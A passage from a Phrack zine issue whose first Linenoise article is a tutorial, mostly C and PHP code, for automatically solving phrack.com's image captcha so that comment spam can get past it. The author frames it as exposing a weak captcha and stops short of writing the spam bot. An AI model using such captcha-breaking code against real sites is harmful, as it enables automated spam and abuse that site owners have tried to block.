mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
3310 lines
141 KiB
Text
3310 lines
141 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume 0x0e, Issue 0x44, Phile #0x04 of 0x13
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-----------------------=[ L I N E N O I S E ]=-----------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=-------------------------=[ various ]=-------------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
|
||
|
Linenoise iz back! The last one was in Issue 0x3f (2005 ffs) and since we
|
||
|
had great short and sweet submissions we thought it was about time to
|
||
|
resurrect it. After all, "a strong linenoise is key" ;-)
|
||
|
|
||
|
So, dear hacker, enjoy a strong Linenoise.
|
||
|
|
||
|
|
||
|
--[ Contents
|
||
|
|
||
|
1 - Spamming PHRACK for fun and profit -- darkjoker
|
||
|
2 - The Dangers of Anonymous Email -- DangerMouse
|
||
|
3 - Captchas Round 2 -- PHRACK PHP
|
||
|
CoderZ Team
|
||
|
4 - XSS Using NBNS on a Home Router -- Simon Weber
|
||
|
5 - Hacking the Second Life Viewer For Fun and Profit -- Eva
|
||
|
6 - How I misunderstood digital radio -- M.Laphroaig
|
||
|
7 - The 1130 Guide to Growing High-Quality Cannabis -- 1130
|
||
|
|
||
|
|
||
|
|=[ 0x01 ]=---=[ Spamming PHRACK for fun & profit - darkjoker ]=---------=|
|
||
|
|
||
|
In this paper I'd like to explain how a captcha can be bypassed without
|
||
|
problems with just a few lines of C. First of all we'll pick a captcha to
|
||
|
bypass, and, of course, is there any better captcha than the one of this
|
||
|
site? Of course not, so we'll take it as example. You may have noticed
|
||
|
that there are many different spam messages in the comments of the
|
||
|
articles, which means that probably someone else has already bypassed the
|
||
|
captcha but, instead of writing an article about it, decided to spend his
|
||
|
time posting spam all around the site. Well, I hope that this article will
|
||
|
also be taken into account to make the decision to change captcha, because
|
||
|
this one is really weak.
|
||
|
|
||
|
First of all we're going to download some captchas, so that we'll be able
|
||
|
to teach our bot how to recognise a random captcha. In order to download
|
||
|
some captchas i've written this PHP code:
|
||
|
|
||
|
<?php
|
||
|
mkdir ("images");
|
||
|
for ($i=0;$i<200;$i++)
|
||
|
file_put_contents ("images/{$i}.jpg",file_get_contents
|
||
|
("http://www.phrack.com/captcha.php"));
|
||
|
?>
|
||
|
|
||
|
We're downloading 200 captchas, which should be enought. Ok, once we'll
|
||
|
have downloaded all the images we can proceed, cleaning the images (which
|
||
|
means we're going to remove the "noise". In these captchas the noise is
|
||
|
just made of some pixel of a lighter blue than the one used to draw the
|
||
|
letters. Well, it's kind of a mess to work with JPEG images, so we'll
|
||
|
convert all the images in PPM, which will make our work easier.
|
||
|
|
||
|
Luckily under Linux there's a command which makes the conversion really
|
||
|
easy and we won't need to do it manually:
|
||
|
|
||
|
convert -compress None input.jpg output.ppm
|
||
|
|
||
|
Let's do it for every image we have:
|
||
|
|
||
|
<?php
|
||
|
mkdir ("ppm");
|
||
|
for ($i=0;$i<200;$i++)
|
||
|
system ("convert -compress None images/{$i}.jpg ppm/{$i}.ppm");
|
||
|
?>
|
||
|
|
||
|
Perfect, now we have everything we need to proceed. Now, as I said
|
||
|
earlier, we've to remove the noise. That's a function which will load an
|
||
|
image and then removes the noise:
|
||
|
|
||
|
void load_image (int v) {
|
||
|
char img[32],line[1024];
|
||
|
int n,i,d,k,l,s;
|
||
|
FILE *fp;
|
||
|
sprintf (img, "ppm/%d.ppm",v);
|
||
|
fp = fopen (img, "r");
|
||
|
do
|
||
|
fgets (line, sizeof(line),fp);
|
||
|
while (strcmp (line, "255\n"));
|
||
|
i=0;
|
||
|
d=0;
|
||
|
k=0;
|
||
|
int cnt=0;
|
||
|
while (i!=40) {
|
||
|
fscanf (fp,"%d",&n);
|
||
|
captcha[i][d][k]=(char)n;
|
||
|
k++;
|
||
|
if (k==3) {
|
||
|
k=0;
|
||
|
if (d<119)
|
||
|
d++;
|
||
|
else {
|
||
|
i++;
|
||
|
d=0;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
Ok, this piece of code will load an image into 'captcha', which is a 3
|
||
|
dimensional array (rows*cols*3 bytes per color). Once the array is loaded,
|
||
|
using clear_noise () (written below) the noise will be removed.
|
||
|
|
||
|
void clear_noise () {
|
||
|
int i,d,k,t,ti,td;
|
||
|
char n[3];
|
||
|
/* The borders are always white */
|
||
|
for (i=0;i<40;i++)
|
||
|
for (k=0;k<3;k++) {
|
||
|
captcha[i][0][k]=255;
|
||
|
captcha[i][119][k]=255;
|
||
|
}
|
||
|
for (d=0;d<120;d++)
|
||
|
for (k=0;k<3;k++) {
|
||
|
captcha[0][d][k]=255;
|
||
|
captcha[39][d][k]=255;
|
||
|
}
|
||
|
/* Starts removing the noise */
|
||
|
for (i=0;i<40;i++)
|
||
|
for (d=0;d<120;d++)
|
||
|
if (captcha[i][d][0]>__COL && captcha[i][d][1]>__COL &&
|
||
|
captcha[i][d][2]>__COL)
|
||
|
for (k=0;k<3;k++)
|
||
|
captcha[i][d][k]=255;
|
||
|
for (i=1;i<39;i++) {
|
||
|
for (d=1;d<119;d++) {
|
||
|
for (k=0,t=0;k<3;k++)
|
||
|
if (captcha[i][d][k]!=255)
|
||
|
t=1;
|
||
|
if (t) {
|
||
|
ti=i-1;
|
||
|
td=d-1;
|
||
|
for (k=0,t=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td++;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td++;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td=d-1;
|
||
|
ti=i;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td+=2;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td=d-1;
|
||
|
ti=i+1;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td++;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td++;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
if (t/3<=__MIN)
|
||
|
for (k=0;k<3;k++)
|
||
|
captcha[i][d][k]=255;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
Well, what does this function do? It's really easy, first of all it clears
|
||
|
all the borders (because we know by looking at the downloaded images that
|
||
|
the borders never contain any character). Once the borders are cleaned,
|
||
|
the second part of the routine will remove all the light blue pixels,
|
||
|
turning them into white pixels. This way we'll obtain an almost perfect
|
||
|
image. The only issue is that there are some pixels which are as dark as
|
||
|
the ones which composes the characters, so we can't remove them with the
|
||
|
method explained above, we'll have to create something new. My idea was to
|
||
|
"delete" all the pixels which have no blue pixels near them, so that the
|
||
|
few blue pixels which doesn't compose the letters will be deleted. In
|
||
|
order to make the image cleaner I decided to delete all the pixels which
|
||
|
doesn't have at least 3 pixels near them. You may have noticed that __COL
|
||
|
and __MIN are not defined in the source above, these are two numbers:
|
||
|
|
||
|
#define __COL 0x50
|
||
|
#define __MIN 4*3
|
||
|
|
||
|
__COL is a number I used when I delete all the light blue pixels, I use it
|
||
|
in this line:
|
||
|
|
||
|
if (captcha[i][d][0]>__COL && captcha[i][d][1]>__COL &&
|
||
|
captcha[i][d][2]>__COL)
|
||
|
|
||
|
In a few words, if the pixel is lighter than #505050 then it will be
|
||
|
deleted (turned white). __MIN is the minimum number of conterminous pixels
|
||
|
under which the pixel is deleted. The values where obtained after a few
|
||
|
attempts.
|
||
|
|
||
|
Perfect, now we have a piece of code which loads and clears a captcha. Our
|
||
|
next goal is to split the characters so that we'll be able to recognise
|
||
|
each of them. Before doing all this work we'd better start working with 2
|
||
|
dimensional arrays, it'll make our work easier, so I've written some lines
|
||
|
which makes this happen:
|
||
|
|
||
|
void make_bw () {
|
||
|
int i,d;
|
||
|
for (i=0;i<40;i++)
|
||
|
for (d=0;d<120;d++)
|
||
|
if (captcha[i][d][0]!=255)
|
||
|
bw[i][d]=1;
|
||
|
else
|
||
|
bw[i][d]=0;
|
||
|
}
|
||
|
|
||
|
This simply transforms the image in a black and white one, so that we can
|
||
|
use a 2 dimensional array. Now we can proceed splitting the letters.
|
||
|
In order to get the letters divided we are supposed to obtain two pixels
|
||
|
whose coordinates are the ones of the upper left corner and the lower right
|
||
|
corner. Once we have the coordinates of these two corners we'll be able to
|
||
|
cut a rectangle which contains a character.
|
||
|
|
||
|
Well, we're going to begin scanning the image from the left to the right,
|
||
|
column by column, and every time we'll find a black pixels in a column
|
||
|
which is preceded by an entire-white column, we'll know that in that column
|
||
|
a new character begins, while when we'll find an entire-white column
|
||
|
preceded by a column which contains at least one black pixel we'll know
|
||
|
that a character ends there.
|
||
|
|
||
|
Now, after this procedure is done we should have 12 different numbers which
|
||
|
represents the columns where each character begins and ends. The next step
|
||
|
is to find the rows where the letter begins and ends, so that we can obtain
|
||
|
the coordinates of the pixels we need. Let's call the column where the Xth
|
||
|
character begins CbX and the column where the Xth character ends CeX. Now
|
||
|
we'll start our scan from the top to the bottom of the image to find the
|
||
|
upper coordinate and from the bottom to the top to find the lower
|
||
|
coordinate.
|
||
|
|
||
|
This time, of course, the scan will be done six times using as limits the
|
||
|
columns where each character is contained between.
|
||
|
|
||
|
When the first row which contains a pixel is found (let's call this row
|
||
|
RbX) the same thing will be done to find the lower coordinate. The only
|
||
|
difference will be that the scan will begin from the bottom, that's done
|
||
|
this way because some characters (such as the 'j') are divided into two
|
||
|
parts, and if the scan was done only from the bottom to the end the result
|
||
|
would have been just a dot instead of the whole letter.
|
||
|
|
||
|
After having scanned the image from the bottom to the top we'll have
|
||
|
another row where the letter ends (or begins from the bottom), we'll call
|
||
|
this row ReX (of course we're talking about the Xth character).
|
||
|
|
||
|
Now we know which are the horizontal and vertical coordinates of the two
|
||
|
corners we're interested in (which are C1X(CbX,RbX) and C2X(CeX,ReX)), so
|
||
|
we can procede by filling a (CeX-CbX)*(ReX-RbX) matrix which will contain
|
||
|
the Xth character. Obviously the matrix will be filled with the bits of the
|
||
|
Xth character.
|
||
|
|
||
|
void scan () {
|
||
|
int i,d,k,j,c,coord[6][2][2];
|
||
|
for (d=0,j=0,c=0;d<120;d++) {
|
||
|
for (i=0,k=0;i<40;i++)
|
||
|
if (bw[i][d])
|
||
|
k=1;
|
||
|
if (k && !j) {
|
||
|
j=1;
|
||
|
coord[c][0][0]=d;
|
||
|
}
|
||
|
else if (!k && j) {
|
||
|
j=0;
|
||
|
coord[c++][0][1]=d;
|
||
|
}
|
||
|
}
|
||
|
for (c=0;c<6;c++) {
|
||
|
coord[c][1][0]=-1;
|
||
|
coord[c][1][1]=-1;
|
||
|
for (i=0;(i<40 && coord[c][1][0]==-1);i++)
|
||
|
for (d=coord[c][0][0];d<coord[c][0][1];d++)
|
||
|
if (bw[i][d]) {
|
||
|
coord[c][1][0]=i;
|
||
|
break;
|
||
|
}
|
||
|
for (i=39;(i>=0 && coord[c][1][1]==-1);i--)
|
||
|
for (d=coord[c][0][0];d<coord[c][0][1];d++)
|
||
|
if (bw[i][d]) {
|
||
|
coord[c][1][1]=i;
|
||
|
break;
|
||
|
}
|
||
|
for (i=coord[c][1][0],j=0;i<=coord[c][1][1];i++,j++)
|
||
|
for (d=coord[c][0][0],k=0;d<coord[c][0][1];d++,k++)
|
||
|
chars[c][j][k]=bw[i][d];
|
||
|
dim[c][0]=j;
|
||
|
dim[c][1]=k;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
Ok, now, using this function we're going to obtain all the characters
|
||
|
splitted into an array of 2 dimension arrays. The next step will be the
|
||
|
most boring, because we're going to divide all the characters by hand, so
|
||
|
that the program, after our work, will be able to recognise all of them and
|
||
|
learn how each character is made. Before that, we need a new directory
|
||
|
which will contain all the characters. A simple 'mkdir chars' will do.
|
||
|
Now we have to fill the directory with the characters. Here's a main
|
||
|
function whose goal is to divide all the captchas into characters and put
|
||
|
them in the chars/ directory.
|
||
|
|
||
|
int main () {
|
||
|
int i,d,k,c,n;
|
||
|
FILE *x;
|
||
|
char path[32];
|
||
|
for (n=0,k=0;n<200;n++) {
|
||
|
load_image (n);
|
||
|
clear_noise ();
|
||
|
make_bw ();
|
||
|
scan ();
|
||
|
for (c=0;c<6;c++,k++) {
|
||
|
sprintf (path,"chars/%d.ppm",k);
|
||
|
x=fopen (path,"w");
|
||
|
fprintf (x,"P1\n#asdasd\n\n%d %d\n",dim[c][1],dim[c][0]);
|
||
|
for (i=0;i<dim[c][0];i++) {
|
||
|
for (d=0;d<dim[c][1];d++)
|
||
|
fprintf (x,"%d",chars[c][i][d]);
|
||
|
fprintf (x,"\n");
|
||
|
}
|
||
|
fclose (x);
|
||
|
}
|
||
|
}
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
Very well, now the chars/ directory contains all the files we need. Now it
|
||
|
comes the part where the human is supposed to divide the characters in the
|
||
|
right directories. To make this work faster I've used a simple PHP script
|
||
|
which helps a little:
|
||
|
|
||
|
<?php
|
||
|
$in=fopen ("php://stdin","r");
|
||
|
mkdir ("c");
|
||
|
for ($i=0;$i<26;$i++)
|
||
|
mkdir ("c/".chr(ord('a')+$i));
|
||
|
for ($i=0;$i<10;$i++)
|
||
|
mkdir ("c/".chr(ord('0')+$i));
|
||
|
for ($i=54;$i<1200;$i++) {
|
||
|
echo $i.": ";
|
||
|
$a = trim(fgets ($in,1024));
|
||
|
if ($a!='.')
|
||
|
system ("cp chars/{$i}.ppm c/{$a}/{$i}.ppm");
|
||
|
}
|
||
|
fclose ($in);
|
||
|
?>
|
||
|
|
||
|
I think there's nothing to be explained, it's just a few lines of code.
|
||
|
After the script is runned and someone (me) enters all the data needed
|
||
|
we're going to have a c/ directory with some subdirectories in which there
|
||
|
are all the characters divided.
|
||
|
|
||
|
Some characters ('a','e','i','o','u','l','0','1') never appear, which means
|
||
|
that probably the author of the captcha decided not to include these
|
||
|
characters.
|
||
|
|
||
|
Anyway that's not a problem for us. Now, we should work out a way to make
|
||
|
our program recognise a character. My idea was to divide the image in 4
|
||
|
parts (horizontally), and then count the number of black (1) pixels in each
|
||
|
part, so that when we have an unknown character all our program will be
|
||
|
supposed to do is to count the number of black pixels for each part of the
|
||
|
image, and then search the character with the closest number of black
|
||
|
pixels. I've tried to do it but I haven't kept into account that some
|
||
|
characters (such as 'q' and 'p') have a similar number of pixels for each
|
||
|
part, even though they're completely different.
|
||
|
|
||
|
After having realised that, I decided to use 8 parts to divide each
|
||
|
character: 4 parts horizontally, then each part is divided in other 2 parts
|
||
|
vertically.
|
||
|
|
||
|
Well, of course there's no way I could have done that by hand, and in fact
|
||
|
I've written a PHP script:
|
||
|
|
||
|
<?php
|
||
|
error_reporting (E_ALL ^ E_NOTICE);
|
||
|
$f = array (4,2,4/3,1);
|
||
|
$arr=array ('b','c','d','f','g','h','j','k','m','n','p','q','r','s','t',
|
||
|
'v','w','x','y','z','2','3','4','5','6','7','8','9');
|
||
|
$h = array ();
|
||
|
for ($a=0;$a<count($arr);$a++) {
|
||
|
$i = $arr[$a];
|
||
|
$x = array ();
|
||
|
$files = scandir ("c/{$i}");
|
||
|
for ($d=0;$d<count($files);$d++) {
|
||
|
if ($files[$d][0]!='.') { // Excludes '.' and '..'
|
||
|
$lines=explode ("\n",file_get_contents ("c/{$i}/{$files[$d]}"));
|
||
|
for ($k=0;$k<4;$k++)
|
||
|
array_shift ($lines);
|
||
|
array_pop ($lines);
|
||
|
$j = count ($lines);
|
||
|
$k = strlen ($lines[0]);
|
||
|
$r=0;
|
||
|
$h[$a] += $j;
|
||
|
if ($files[$d]=="985.ppm") {
|
||
|
for ($n=0;$n<4;$n++)
|
||
|
for (;$r<floor ($j/$f[$n]);$r++) {
|
||
|
for ($l=0;$l<floor($k/2);$l++)
|
||
|
$x[$n][0]+=$lines[$r][$l];
|
||
|
for (;$l<floor($k);$l++)
|
||
|
$x[$n][1]+=$lines[$r][$l];
|
||
|
}
|
||
|
print_r ($x);
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
$h [$a] = round ($h[$a]/(count($files)-2));
|
||
|
for ($n=0;$n<4;$n++) {
|
||
|
$x[$n][0] = round ($x[$n][0]/(count($files)-2));
|
||
|
$x[$n][1] = round ($x[$n][1]/(count($files)-2));
|
||
|
}
|
||
|
printf ("$i => %02d %02d %02d %02d / %02d %02d %02d %02d\n",$x[0][0],
|
||
|
$x[1][0],$x[2][0],$x[3][0],$x[0][1],$x[1][1],$x[2][1],$x[3][1]);
|
||
|
}
|
||
|
for ($i=0;$i<count ($arr);$i++)
|
||
|
echo "{$h[$i]}, ";
|
||
|
|
||
|
?>
|
||
|
|
||
|
It works out the average number of black pixels for each part. Moreover it
|
||
|
also prints the average height of each character (I'm going to explain the
|
||
|
reason of this below).
|
||
|
|
||
|
A character such as a 'z' is divided this way:
|
||
|
|
||
|
01111 111110
|
||
|
11111 111111
|
||
|
11111 111111
|
||
|
01111 111111
|
||
|
|
||
|
00000 111110
|
||
|
00000 111110
|
||
|
00000 111100
|
||
|
00001 111100
|
||
|
|
||
|
00001 111000
|
||
|
00011 110000
|
||
|
00011 110000
|
||
|
00111 100000
|
||
|
|
||
|
00111 111110
|
||
|
01111 111111
|
||
|
01111 111111
|
||
|
00111 111110
|
||
|
|
||
|
So the numbers (of the black pixels) in this case will be:
|
||
|
|
||
|
18 23
|
||
|
1 18
|
||
|
8 8
|
||
|
14 22
|
||
|
|
||
|
Well, once taken all these numbers from each character the PHP script
|
||
|
written above works out the average numbers for each character. In the
|
||
|
'z', for example, the average numbers are:
|
||
|
|
||
|
18 20
|
||
|
3 15
|
||
|
11 7
|
||
|
17 20
|
||
|
|
||
|
Which are really close to the ones written above (at least, they're closer
|
||
|
than the ones of the other characters). Now the last step is to do the
|
||
|
comparison between the character of the captcha we want our program to read
|
||
|
and the numbers we've stored. To do so we first need to make the program
|
||
|
count the number of black pixels of a character, and save the numbers
|
||
|
somewhere so that it'll be possible to do the comparison. read_pixels ()'s
|
||
|
aim is exactly to do that, using the same method used above in the PHP
|
||
|
script.
|
||
|
|
||
|
void read_pixels (int c) {
|
||
|
int i,d,k,r;
|
||
|
float arr[]={4,2,1.333333,1};
|
||
|
memset (bpix,0,8*sizeof(int));
|
||
|
for (k=0,i=0;k<4;k++) {
|
||
|
for (;i<(int)(dim[c][0]/arr[k]);i++) {
|
||
|
for (d=0;d<dim[c][1]/2;d++)
|
||
|
bpix[k][0] += chars[c][i][d];
|
||
|
for (;d<dim[c][1];d++)
|
||
|
bpix[k][1] += chars[c][i][d];
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
The next step is to compare the numbers, that's what the cmp () function is
|
||
|
supposed to do:
|
||
|
|
||
|
char cmp (int c) {
|
||
|
int i,d;
|
||
|
int err,n,min,min_i;
|
||
|
read_pixels (c);
|
||
|
for (i=0,min=-1;i<28;i++) {
|
||
|
n=abs(heights[i]-dim[c][0])*__HGT;
|
||
|
for (d=0;d<4;d++) {
|
||
|
n += abs(bpix[d][0]-table[i][0][d]);
|
||
|
n += abs(bpix[d][1]-table[i][1][d]);
|
||
|
}
|
||
|
if (min>n || min<0) {
|
||
|
min=n;
|
||
|
min_i = i;
|
||
|
}
|
||
|
}
|
||
|
return ch_list[min_i];
|
||
|
}
|
||
|
|
||
|
'table' is an array in which all the average numbers worked out before are
|
||
|
stored. As you can see there's a final number (n) which is the sum of a
|
||
|
number obtain in this way:
|
||
|
|
||
|
n += |x-y)
|
||
|
|
||
|
Where 'x' is the number of black pixels of each part of the character we
|
||
|
want to read, while 'y' is the average number of the character we're
|
||
|
comparing the character we want to read with. The smaller the resulting
|
||
|
number is, the closer to that character. I firstly thought that the
|
||
|
algorithm I used would have been good enough, but I soon realised that
|
||
|
there were too many "misunderstandings" while the program was trying to
|
||
|
read some characters (such as the 'y's, which were usually read as 'v's).
|
||
|
So I decided to make the final number also influenced by the height of the
|
||
|
character, so that a 'v' and a 'y' (which have different heights) can't be
|
||
|
misunderstood.
|
||
|
|
||
|
Before this change the program couldn't recognise 17 characters out of
|
||
|
1200. Then, after some tests, I found that by adding the difference of the
|
||
|
heights times a costant, the results were better: 3 wrong characters out of
|
||
|
1200.
|
||
|
|
||
|
n = |x-y|*k
|
||
|
|
||
|
Where 'x' is the height of the character we want to read while 'y' is the
|
||
|
height of the character we're comparing the character we want to read
|
||
|
with.
|
||
|
|
||
|
The costant (k) was calculated by doing some attempts, and finally it was
|
||
|
given the value 1.5. Now everything's ready, the last function I've
|
||
|
written is read_captcha () which will return the captcha's string.
|
||
|
|
||
|
char *read_captcha (char *file) {
|
||
|
char *str;
|
||
|
int i;
|
||
|
str = malloc(7*sizeof(char));
|
||
|
load_image (file);
|
||
|
clear_noise ();
|
||
|
make_bw ();
|
||
|
scan ();
|
||
|
for (i=0;i<6;i++)
|
||
|
str[i]=cmp(i);
|
||
|
str[i]=0;
|
||
|
return str;
|
||
|
}
|
||
|
|
||
|
And.. Done :) Now we can make our program read a captcha without any
|
||
|
problem. Now I should be supposed to code an entire spam bot, but, since
|
||
|
it requires some tests I think it wouldn't be good to post random comments
|
||
|
all around phrack, so my article finishes here.
|
||
|
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <string.h>
|
||
|
|
||
|
#define __COL 80
|
||
|
#define __MIN 4*3
|
||
|
#define __HGT 1.5
|
||
|
|
||
|
unsigned char captcha[40][120][3];
|
||
|
unsigned char bw[40][120];
|
||
|
unsigned char chars[6][40][30];
|
||
|
int dim[6][2];
|
||
|
int bpix[4][2];
|
||
|
int heights[] = {
|
||
|
23, 16, 23, 23, 22, 23, 29,
|
||
|
23, 16, 16, 22, 22, 16, 16,
|
||
|
20, 16, 16, 16, 21, 16, 23,
|
||
|
24, 23, 23, 23, 23, 24, 24 };
|
||
|
char ch_list [] = "bcdfghjkmnpqrstvwxyz23456789";
|
||
|
int table [28][2][4]= {
|
||
|
{ {18, 28, 26, 28}, { 0, 20, 25, 29}},
|
||
|
{ {10, 17, 17, 10}, {21, 1, 1, 20}},
|
||
|
{ { 0, 20, 25, 29}, {18, 31, 26, 31}},
|
||
|
{ {10, 24, 18, 17}, {23, 12, 6, 5}},
|
||
|
{ {21, 25, 20, 8}, {28, 25, 29, 27}},
|
||
|
{ {18, 28, 25, 22}, { 0, 20, 25, 22}},
|
||
|
{ { 1, 9, 0, 14}, {13, 27, 28, 25}},
|
||
|
{ {18, 24, 30, 22}, { 0, 15, 21, 23}},
|
||
|
{ {24, 21, 20, 17}, {21, 25, 24, 20}},
|
||
|
{ {17, 18, 16, 14}, {20, 17, 16, 14}},
|
||
|
{ {27, 25, 29, 22}, {24, 25, 25, 0}},
|
||
|
{ {25, 25, 24, 0}, {27, 25, 29, 22}},
|
||
|
{ {14, 16, 15, 13}, {19, 2, 0, 0}},
|
||
|
{ {15, 16, 2, 9}, {12, 4, 18, 17}},
|
||
|
{ {15, 20, 15, 12}, { 5, 10, 5, 19}},
|
||
|
{ {13, 17, 15, 11}, {14, 14, 14, 10}},
|
||
|
{ { 9, 17, 20, 13}, {12, 18, 22, 14}},
|
||
|
{ { 9, 11, 11, 13}, {12, 13, 13, 12}},
|
||
|
{ {15, 19, 14, 14}, {16, 20, 15, 9}},
|
||
|
{ {18, 3, 11, 17}, {20, 15, 7, 20}},
|
||
|
{ {21, 4, 8, 24}, {21, 26, 19, 24}},
|
||
|
{ {16, 0, 6, 24}, {29, 23, 25, 28}},
|
||
|
{ { 5, 12, 23, 5}, {23, 24, 32, 24}},
|
||
|
{ {23, 25, 10, 20}, {18, 12, 26, 23}},
|
||
|
{ { 3, 21, 28, 24}, {16, 15, 30, 27}},
|
||
|
{ {18, 1, 11, 20}, {27, 24, 14, 3}},
|
||
|
{ {25, 24, 26, 23}, {28, 26, 28, 28}},
|
||
|
{ {20, 27, 16, 16}, {25, 26, 28, 9}} };
|
||
|
|
||
|
void clear () {
|
||
|
int i,d,k;
|
||
|
for (i=0;i<40;i++)
|
||
|
for (d=0;d<120;d++)
|
||
|
for (k=0;k<3;k++)
|
||
|
captcha[i][d][k]=0;
|
||
|
for (i=0;i<40;i++)
|
||
|
for (d=0;d<120;d++)
|
||
|
bw[i][d]=0;
|
||
|
for (i=0;i<6;i++)
|
||
|
for (d=0;d<40;d++)
|
||
|
for (k=0;k<30;k++)
|
||
|
chars[i][d][k]=0;
|
||
|
for (i=0;i<6;i++)
|
||
|
for (d=0;d<2;d++)
|
||
|
dim[i][d]=0;
|
||
|
}
|
||
|
|
||
|
int numlen (int n) {
|
||
|
char x[16];
|
||
|
sprintf (x,"%d",n);
|
||
|
return strlen(x);
|
||
|
}
|
||
|
|
||
|
void load_image (char *img) {
|
||
|
char line[1024];
|
||
|
int n,i,d,k,l,s;
|
||
|
FILE *fp;
|
||
|
fp = fopen (img, "r");
|
||
|
do
|
||
|
fgets (line, sizeof(line),fp);
|
||
|
while (strcmp (line, "255\n"));
|
||
|
i=0;
|
||
|
d=0;
|
||
|
k=0;
|
||
|
int cnt=0;
|
||
|
while (i!=40) {
|
||
|
fscanf (fp,"%d",&n);
|
||
|
captcha[i][d][k]=(char)n;
|
||
|
k++;
|
||
|
if (k==3) {
|
||
|
k=0;
|
||
|
if (d<119)
|
||
|
d++;
|
||
|
else {
|
||
|
i++;
|
||
|
d=0;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
void clear_noise () {
|
||
|
int i,d,k,t,ti,td;
|
||
|
char n[3];
|
||
|
/* The borders are always white */
|
||
|
for (i=0;i<40;i++)
|
||
|
for (k=0;k<3;k++) {
|
||
|
captcha[i][0][k]=255;
|
||
|
captcha[i][119][k]=255;
|
||
|
}
|
||
|
for (d=0;d<120;d++)
|
||
|
for (k=0;k<3;k++) {
|
||
|
captcha[0][d][k]=255;
|
||
|
captcha[39][d][k]=255;
|
||
|
}
|
||
|
/* Starts removing the noise */
|
||
|
for (i=0;i<40;i++)
|
||
|
for (d=0;d<120;d++)
|
||
|
if (captcha[i][d][0]>__COL && captcha[i][d][1]>__COL &&
|
||
|
captcha[i][d][2]>__COL)
|
||
|
for (k=0;k<3;k++)
|
||
|
captcha[i][d][k]=255;
|
||
|
for (i=1;i<39;i++) {
|
||
|
for (d=1;d<119;d++) {
|
||
|
for (k=0,t=0;k<3;k++)
|
||
|
if (captcha[i][d][k]!=255)
|
||
|
t=1;
|
||
|
if (t) {
|
||
|
ti=i-1;
|
||
|
td=d-1;
|
||
|
for (k=0,t=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td++;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td++;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td=d-1;
|
||
|
ti=i;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td+=2;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td=d-1;
|
||
|
ti=i+1;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td++;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
td++;
|
||
|
for (k=0;k<3;k++)
|
||
|
if (captcha[ti][td][k]!=255)
|
||
|
t++;
|
||
|
if (t<__MIN)
|
||
|
for (k=0;k<3;k++)
|
||
|
captcha[i][d][k]=255;
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
void make_bw () {
|
||
|
int i,d;
|
||
|
for (i=0;i<40;i++)
|
||
|
for (d=0;d<120;d++)
|
||
|
if (captcha[i][d][0]!=255)
|
||
|
bw[i][d]=1;
|
||
|
else
|
||
|
bw[i][d]=0;
|
||
|
}
|
||
|
|
||
|
void scan () {
|
||
|
int i,d,k,j,c,coord[6][2][2];
|
||
|
for (d=0,j=0,c=0;d<120;d++) {
|
||
|
for (i=0,k=0;i<40;i++)
|
||
|
if (bw[i][d])
|
||
|
k=1;
|
||
|
if (k && !j) {
|
||
|
j=1;
|
||
|
coord[c][0][0]=d;
|
||
|
}
|
||
|
else if (!k && j) {
|
||
|
j=0;
|
||
|
coord[c++][0][1]=d;
|
||
|
}
|
||
|
}
|
||
|
for (c=0;c<6;c++) {
|
||
|
coord[c][1][0]=-1;
|
||
|
coord[c][1][1]=-1;
|
||
|
for (i=0;(i<40 && coord[c][1][0]==-1);i++)
|
||
|
for (d=coord[c][0][0];d<coord[c][0][1];d++)
|
||
|
if (bw[i][d]) {
|
||
|
coord[c][1][0]=i;
|
||
|
break;
|
||
|
}
|
||
|
for (i=39;(i>=0 && coord[c][1][1]==-1);i--)
|
||
|
for (d=coord[c][0][0];d<coord[c][0][1];d++)
|
||
|
if (bw[i][d]) {
|
||
|
coord[c][1][1]=i;
|
||
|
break;
|
||
|
}
|
||
|
for (i=coord[c][1][0],j=0;i<=coord[c][1][1];i++,j++)
|
||
|
for (d=coord[c][0][0],k=0;d<coord[c][0][1];d++,k++)
|
||
|
chars[c][j][k]=bw[i][d];
|
||
|
